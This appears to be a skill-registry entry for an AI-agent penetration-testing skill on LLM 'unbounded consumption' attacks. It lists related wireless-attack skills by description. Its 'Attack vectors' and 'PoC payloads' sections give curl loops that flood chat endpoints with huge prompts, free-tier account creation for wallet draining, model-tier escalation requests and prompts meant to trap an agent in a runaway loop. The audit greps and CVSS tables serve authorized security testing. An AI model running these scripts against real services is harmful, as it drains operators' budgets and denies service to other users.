[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7701HX8CNBPEQ3EST7CTDNF":3,"skill-same:01M7701HX8CNBPEQ3EST7CTDNF":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":14,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":32,"install":33,"resources":46},"01M7701HX8CNBPEQ3EST7CTDNF","unbounded-consumption",null,"Hunt LLM unbounded consumption (OWASP LLM10:2025) — denial-of-wallet and denial-of-service against LLM endpoints via unrestricted prompt size, runaway tool loops, expensive model selection, and unauthenticated fan-out.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Funbounded-consumption\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: unbounded-consumption\ndescription: Hunt LLM unbounded consumption (OWASP LLM10:2025) — denial-of-wallet and denial-of-service against LLM endpoints via unrestricted prompt size, runaway tool loops, expensive model selection, and unauthenticated fan-out.\nmetadata:\n  subdomain: ai-security\n  when_to_use: \"llm unbounded consumption owasp llm10 denial of wallet dos prompt size tool loop expensive model unauthenticated fan-out\"\n---\n\n# LLM Unbounded Consumption (LLM10:2025)\n\nLLM inference is metered in dollars-per-token at the provider, and\nthose tokens stack quickly: a context window full of attacker\ncontent costs more than the rest of the request stack combined.\nUnbounded consumption produces three impacts in escalating severity:\nprovider rate-limit \u002F hard-block (DoS), bill blowout (denial-of-\nwallet), and ultimately tool \u002F sandbox resource exhaustion (DoS of\nthe customer's compute).\n\n## 1. Recognition signals\n\n- The product exposes an authenticated **or unauthenticated** LLM\n  endpoint that accepts large prompts.\n- Per-user \u002F per-tenant token budget is undocumented or absent.\n- Free-tier signup grants immediate access to the most expensive model.\n- Agentic system has no max-step \u002F max-token \u002F max-cost cap.\n- Tools loop on model output without iteration cap (``while not done:``).\n- File-upload feature dumps full document into the context.\n- Background workers retry failed model calls on exponential backoff\n  without a hard ceiling.\n- Cost dashboard updates daily, not in real time.\n\n## 2. Attack vectors\n\n### Direct prompt expansion (input DoS)\nSubmit a maximum-context-window prompt repeatedly:\n```bash\nseq 1 1000 | xargs -I{} curl -s -X POST \"$TARGET\u002Fchat\" \\\n    -H \"Authorization: Bearer $FREE_TIER_TOKEN\" \\\n    -d \"{\\\"prompt\\\":\\\"$(python -c 'print(\"repeat this \" * 30000)')\\\"}\" \\\n    >\u002Fdev\u002Fnull &\n```\n\n### Cost-tier escalation\nBypass the model picker to force the most expensive model\n(opus \u002F o1 \u002F claude-3.7) on every request. Often the picker is a\nclient-side selector that the backend trusts.\n\n### Runaway agentic loop\nSubmit a task that the agent cannot complete: \"Read every file in\n``\u002F`` recursively and summarise each in 5 paragraphs.\" Each tool\nresult feeds the next prompt; tokens grow per loop. With no max-step\ncap the run lasts until provider rate-limits or budget alarms fire.\n\n### Fan-out via tool calls\nTrigger an LLM that itself spawns N tool calls per turn, each of\nwhich invokes a sub-LLM. Geometric blow-up.\n\n### Self-prompting \u002F recursion\n\"For each of the following 100 topics, write a 5-page detailed\nanalysis.\" Each topic becomes a sub-call.\n\n### Wallet-only DoS via duplicate accounts\nFree-tier signup with a temp-email service; 100 accounts; each runs\nmaximum-cost requests on a paid backend.\n\n### Long-context starvation of other users\nSubmit a single max-context request that holds a shared backend\nworker; concurrent users observe latency spikes \u002F 5xx.\n\n## 3. Audit workflow\n\n```bash\n# Find LLM endpoints + their auth requirements\ngrep -rE '\u002Fchat|\u002Fcomplete|\u002Fgenerate|\u002Fagent|\u002Fllm' \u002Fworkspace\u002Fsrc\n\n# Find token \u002F cost cap logic (or its absence)\ngrep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' \u002Fworkspace\u002Fsrc\n\n# Find model-selection bypass surface (client-controlled model id)\ngrep -rE 'model\\s*=\\s*request|model_from_body|user_choice_model' \u002Fworkspace\u002Fsrc\n\n# Find agentic loop terminators\ngrep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' \u002Fworkspace\u002Fsrc\n```\n\nFor each endpoint ask:\n1. What is the per-user max tokens per minute \u002F per day?\n2. Is the model id chosen by the user trusted server-side?\n3. Is there a circuit-breaker on the provider 429 path?\n4. What is the maximum total cost of a single agentic run?\n\n## 4. Exploitation goals\n\n| Goal | Impact | Indicator |\n|---|---|---|\n| Per-user DoS via large prompt | Low | One user 429s themselves |\n| Wallet drain on free tier | High | Measurable per-account spend > tier price |\n| Single-prompt budget blowout | High | One request exceeds expected per-day cost |\n| Cross-tenant DoS via shared backend | Critical | Other tenants 5xx during attacker's request |\n| Sustained billing attack | Critical | Multi-day spend curve elevated by attacker |\n\n## 5. PoC payloads\n\n### Wallet drain probe (free tier)\n```bash\n# Provision a fresh free-tier account\nTOK=$(curl -X POST $TARGET\u002Fsignup -d '{\"email\":\"test+'$(uuidgen)'@example\"}' | jq -r .token)\n\n# Sustained max-cost requests\nfor i in $(seq 1 50); do\n    curl -s -X POST \"$TARGET\u002Fchat\" -H \"Authorization: Bearer $TOK\" \\\n        -d '{\"model\":\"gpt-5-pro\",\"prompt\":\"'$(python -c 'print(\"token \"*40000)')'\"}' \\\n        >\u002Fdev\u002Fnull &\ndone\nwait\n\n# Measure spend via vendor dashboard or attacker-side response timing\n```\n\n### Runaway agentic loop\n```\nFor each line in \u002Fetc\u002Fservices, look up the protocol's RFC, fetch the\nRFC, and write a 3-paragraph summary. Save each summary to a file in\n\u002Ftmp. Continue until all services are processed.\n```\nWatch token count grow per loop; record at what step the system\nfinally caps out (if ever).\n\n### Model escalation\n```bash\n# Backend trusts the user-supplied model id?\ncurl -X POST \"$TARGET\u002Fchat\" -d '{\"model\":\"o1-pro\",\"prompt\":\"hello\"}'\n```\nIf a free-tier or unauthenticated request reaches a paid model,\nfile it.\n\n### Long-context shared-worker DoS\nConcurrent: one tab sends a max-context prompt; another tab measures\np95 latency of normal requests. Latency degradation on the second\ntab indicates a shared worker pool without queueing per tenant.\n\n## 6. `validate_finding` contract\n\n- success_patterns: measurable spend delta in vendor dashboard,\n  measurable latency p95 elevation for unaffected users, request\n  reaches a more expensive model than the user's tier allows,\n  agentic run completes >N steps with no cap.\n- negative_command: same request rate against a hardened tier\n  baseline, or single-shot benchmark before attack.\n- negative_patterns: 429 returned with backoff hint, budget block,\n  step-limit error, queue admission denied.\n\n## 7. Default CVSS\n\n| Variant | Vector | Score |\n|---|---|---|\n| Per-user self-DoS via big prompt | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:L | 4.3 |\n| Free-tier wallet drain | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 7.5 |\n| Model-tier escalation | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 7.7 |\n| Cross-tenant DoS via shared backend | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 7.7 |\n| Sustained billing attack | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 9.3 |\n\n## 8. Chain promotion\n\nUnbounded consumption is the LLM-channel analogue of **resource\nexhaustion**. Its severity is bounded by the customer's spend cap,\nnot by the application code. When paired with LLM06 excessive\nagency, a single injection can trigger a runaway agent loop that\nempties the day's budget — file the chain at the higher severity\nand document the realistic dollar blast radius in the engagement.\n","# LLM Unbounded Consumption (LLM10:2025)\n\nLLM inference is metered in dollars-per-token at the provider, and\nthose tokens stack quickly: a context window full of attacker\ncontent costs more than the rest of the request stack combined.\nUnbounded consumption produces three impacts in escalating severity:\nprovider rate-limit \u002F hard-block (DoS), bill blowout (denial-of-\nwallet), and ultimately tool \u002F sandbox resource exhaustion (DoS of\nthe customer's compute).\n\n## 1. Recognition signals\n\n- The product exposes an authenticated **or unauthenticated** LLM\n  endpoint that accepts large prompts.\n- Per-user \u002F per-tenant token budget is undocumented or absent.\n- Free-tier signup grants immediate access to the most expensive model.\n- Agentic system has no max-step \u002F max-token \u002F max-cost cap.\n- Tools loop on model output without iteration cap (``while not done:``).\n- File-upload feature dumps full document into the context.\n- Background workers retry failed model calls on exponential backoff\n  without a hard ceiling.\n- Cost dashboard updates daily, not in real time.\n\n## 2. Attack vectors\n\n### Direct prompt expansion (input DoS)\nSubmit a maximum-context-window prompt repeatedly:\n```bash\nseq 1 1000 | xargs -I{} curl -s -X POST \"$TARGET\u002Fchat\" \\\n    -H \"Authorization: Bearer $FREE_TIER_TOKEN\" \\\n    -d \"{\\\"prompt\\\":\\\"$(python -c 'print(\"repeat this \" * 30000)')\\\"}\" \\\n    >\u002Fdev\u002Fnull &\n```\n\n### Cost-tier escalation\nBypass the model picker to force the most expensive model\n(opus \u002F o1 \u002F claude-3.7) on every request. Often the picker is a\nclient-side selector that the backend trusts.\n\n### Runaway agentic loop\nSubmit a task that the agent cannot complete: \"Read every file in\n``\u002F`` recursively and summarise each in 5 paragraphs.\" Each tool\nresult feeds the next prompt; tokens grow per loop. With no max-step\ncap the run lasts until provider rate-limits or budget alarms fire.\n\n### Fan-out via tool calls\nTrigger an LLM that itself spawns N tool calls per turn, each of\nwhich invokes a sub-LLM. Geometric blow-up.\n\n### Self-prompting \u002F recursion\n\"For each of the following 100 topics, write a 5-page detailed\nanalysis.\" Each topic becomes a sub-call.\n\n### Wallet-only DoS via duplicate accounts\nFree-tier signup with a temp-email service; 100 accounts; each runs\nmaximum-cost requests on a paid backend.\n\n### Long-context starvation of other users\nSubmit a single max-context request that holds a shared backend\nworker; concurrent users observe latency spikes \u002F 5xx.\n\n## 3. Audit workflow\n\n```bash\n# Find LLM endpoints + their auth requirements\ngrep -rE '\u002Fchat|\u002Fcomplete|\u002Fgenerate|\u002Fagent|\u002Fllm' \u002Fworkspace\u002Fsrc\n\n# Find token \u002F cost cap logic (or its absence)\ngrep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' \u002Fworkspace\u002Fsrc\n\n# Find model-selection bypass surface (client-controlled model id)\ngrep -rE 'model\\s*=\\s*request|model_from_body|user_choice_model' \u002Fworkspace\u002Fsrc\n\n# Find agentic loop terminators\ngrep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' \u002Fworkspace\u002Fsrc\n```\n\nFor each endpoint ask:\n1. What is the per-user max tokens per minute \u002F per day?\n2. Is the model id chosen by the user trusted server-side?\n3. Is there a circuit-breaker on the provider 429 path?\n4. What is the maximum total cost of a single agentic run?\n\n## 4. Exploitation goals\n\n| Goal | Impact | Indicator |\n|---|---|---|\n| Per-user DoS via large prompt | Low | One user 429s themselves |\n| Wallet drain on free tier | High | Measurable per-account spend > tier price |\n| Single-prompt budget blowout | High | One request exceeds expected per-day cost |\n| Cross-tenant DoS via shared backend | Critical | Other tenants 5xx during attacker's request |\n| Sustained billing attack | Critical | Multi-day spend curve elevated by attacker |\n\n## 5. PoC payloads\n\n### Wallet drain probe (free tier)\n```bash\n# Provision a fresh free-tier account\nTOK=$(curl -X POST $TARGET\u002Fsignup -d '{\"email\":\"test+'$(uuidgen)'@example\"}' | jq -r .token)\n\n# Sustained max-cost requests\nfor i in $(seq 1 50); do\n    curl -s -X POST \"$TARGET\u002Fchat\" -H \"Authorization: Bearer $TOK\" \\\n        -d '{\"model\":\"gpt-5-pro\",\"prompt\":\"'$(python -c 'print(\"token \"*40000)')'\"}' \\\n        >\u002Fdev\u002Fnull &\ndone\nwait\n\n# Measure spend via vendor dashboard or attacker-side response timing\n```\n\n### Runaway agentic loop\n```\nFor each line in \u002Fetc\u002Fservices, look up the protocol's RFC, fetch the\nRFC, and write a 3-paragraph summary. Save each summary to a file in\n\u002Ftmp. Continue until all services are processed.\n```\nWatch token count grow per loop; record at what step the system\nfinally caps out (if ever).\n\n### Model escalation\n```bash\n# Backend trusts the user-supplied model id?\ncurl -X POST \"$TARGET\u002Fchat\" -d '{\"model\":\"o1-pro\",\"prompt\":\"hello\"}'\n```\nIf a free-tier or unauthenticated request reaches a paid model,\nfile it.\n\n### Long-context shared-worker DoS\nConcurrent: one tab sends a max-context prompt; another tab measures\np95 latency of normal requests. Latency degradation on the second\ntab indicates a shared worker pool without queueing per tenant.\n\n## 6. `validate_finding` contract\n\n- success_patterns: measurable spend delta in vendor dashboard,\n  measurable latency p95 elevation for unaffected users, request\n  reaches a more expensive model than the user's tier allows,\n  agentic run completes >N steps with no cap.\n- negative_command: same request rate against a hardened tier\n  baseline, or single-shot benchmark before attack.\n- negative_patterns: 429 returned with backoff hint, budget block,\n  step-limit error, queue admission denied.\n\n## 7. Default CVSS\n\n| Variant | Vector | Score |\n|---|---|---|\n| Per-user self-DoS via big prompt | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:L | 4.3 |\n| Free-tier wallet drain | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 7.5 |\n| Model-tier escalation | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 7.7 |\n| Cross-tenant DoS via shared backend | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 7.7 |\n| Sustained billing attack | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 9.3 |\n\n## 8. Chain promotion\n\nUnbounded consumption is the LLM-channel analogue of **resource\nexhaustion**. Its severity is bounded by the customer's spend cap,\nnot by the application code. When paired with LLM06 excessive\nagency, a single injection can trigger a runaway agent loop that\nempties the day's budget — file the chain at the higher severity\nand document the realistic dollar blast radius in the engagement.\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26},"ai-security","llm unbounded consumption owasp llm10 denial of wallet dos prompt size tool loop expensive model unauthenticated fan-out","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Funbounded-consumption","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill unbounded-consumption",{"tool":39,"command":40},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill unbounded-consumption",{"tool":42,"command":43},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill unbounded-consumption","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Funbounded-consumption\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]